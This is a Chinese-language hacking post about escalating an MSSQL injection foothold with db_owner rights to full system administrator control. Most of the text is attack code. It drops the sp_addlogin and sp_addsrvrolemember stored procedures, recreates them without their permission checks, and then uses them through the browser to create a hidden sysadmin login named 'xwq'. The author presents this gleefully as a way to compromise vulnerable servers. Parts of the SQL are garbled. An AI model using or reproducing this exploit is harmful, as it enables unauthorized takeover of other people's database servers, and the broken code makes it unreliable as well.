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SQL注入攻击通杀

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MSSQL注入通杀,只要有注入点就有系统权限
  不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin 和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入 drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
  @loginame sysname
  ,@passwd sysname = Null
  ,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
  CONFIGURABLE???
  ,@deflanguage sysname = Null
  ,@sid varbinary(16) = Null
  ,@encryptopt varchar(20) = Null
  AS
  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
  set nocount on
  Declare @ret int -- return value of sp call
  -- DISALLOW USER TRANSACTION --
  set implicit_transactions off
  IF (@@trancount > 0)
  begin
  raiserror(15002,-1,-1,’sp_addlogin’)
  return (1)
  end
  -- VALIDATE LOGIN NAME AS:
  -- (1) Valid SQL Name (SQL LOGIN)
  -- (2) No backslash (NT users only)
  -- (3) Not a reserved login name
  execute @ret = sp_validname @loginame
  if (@ret <> 0)
  return (1)
  if (charindex(’’, @loginame) > 0)
  begin
  raiserror(15006,-1,-1,@loginame)
  return (1)
  end
  --Note: different case sa is allowed.
  if (@loginame = ’sa’ or lower(@loginame) in (’public’))
  begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
  end
  -- LOGIN NAME MUST NOT ALREADY EXIST --
  if exists(select * from master.dbo.syslogins where loginname =
  @loginame)
  begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
  end
  -- VALIDATE DEFAULT DATABASE --
  IF db_id(@defdb) IS NULL
  begin
  raiserror(15010,-1,-1,@defdb)
  return (1)
  end
  -- VALIDATE DEFAULT LANGUAGE --
  IF (@deflanguage IS NOT Null)
  begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
  return (1)
  end
  ELSE
  begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default
  language
  if @deflanguage is null
  select @deflanguage = N’us_english’
  end
  -- VALIDATE SID IF GIVEN --
  if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
  begin
  raiserror(15419,-1,-1)
  return (1)
  end
  else if @sid is null
  select @sid = newid()
  if (suser_sname(@sid) IS NOT Null)
  begin
  raiserror(15433,-1,-1)
  return (1)
  end
  -- VALIDATE AND USE ENCRYPTION OPTION --
  declare @xstatus smallint
  select @xstatus = 2 -- access
  if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
  else if @encryptopt = ’skip_encryption_old’
  begin
  select @xstatus = @xstatus | 0x800, -- old-style
  encryption
  @passwd = convert(sysname, convert(varbinary
  (30), convert(varchar(30), @passwd)))
  end
  else if @encryptopt <> ’skip_encryption’
  begin
  raiserror(15600,-1,-1,’sp_addlogin’)
  return 1
  end
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
  INSERT INTO master.dbo.sysxlogins VALUES
  (NULL, @sid, @xstatus, getdate(),
  getdate(), @loginame, convert(varbinary(256), @passwd),
  db_id(@defdb), @deflanguage)
  if @@error <> 0 -- this indicates we saw duplicate row
  return (1)
  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
  SYSLOGINS CHANGE --
  exec(’use master grant all to null’)
  -- FINALIZATION: RETURN SUCCESS/FAILURE --
  raiserror(15298,-1,-1)
  return (0) -- sp_addlogin
  GO
  OK,我们新建个用户exec master..sp_addlogin xwq
  再drop procedure sp_addsrvrolemember,然后在IE里输入
  create procedure sp_addsrvrolemember
  @loginame sysname, -- login name
  @rolename sysname = NULL -- server role name
  as
  -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
  set nocount on
  declare @ret int, -- return value of sp call
  @rolebit smallint,
  @ismem int
  -- DISALLOW USER TRANSACTION --
  set implicit_transactions off
  IF (@@trancount > 0)
  begin
  raiserror(15002,-1,-1,’sp_addsrvrolemember’)
  return (1)
  end
  -- CANNOT CHANGE SA ROLES --
  if @loginame = ’sa’
  begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
  end
  -- OBTAIN THE BIT FOR THIS ROLE --
  select @rolebit = CASE @rolename
  WHEN ’sysadmin’ THEN 16
  WHEN ’securityadmin’ THEN 32
  WHEN ’serveradmin’ THEN 64
  WHEN ’setupadmin’ THEN 128
  WHEN ’processadmin’ THEN 256
  WHEN ’diskadmin’ THEN 512
  WHEN ’dbcreator’ THEN 1024
  WHEN ’bulkadmin’ THEN 4096
  ELSE NULL END
  -- ADD ROW FOR NT LOGIN IF NEEDED --
  if not exists(select * from master.dbo.syslogins where
  loginname = @loginame)
  begin
  execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
  if (@ret <> 0)
  begin
  raiserror(15007,-1,-1,@loginame)
  return (1)
  end
  end
  -- UPDATE ROLE MEMBERSHIP --
  update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,
  xdate2 = getdate()
  where name = @loginame and srvid IS NULL
  -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
  SYSLOGINS CHANGE --
  exec(’use master grant all to null’)
  raiserror(15488,-1,-1,@loginame,@rolename)
  -- FINALIZATION: RETURN SUCCESS/FAILURE
  return (@@error) -- sp_addsrvrolemember
  GO
  接着再exec master..sp_addsrvrolemember xwq,sysadmin
  这样就建立了一个SA用户了,用SQL连接器连接上就OK了。
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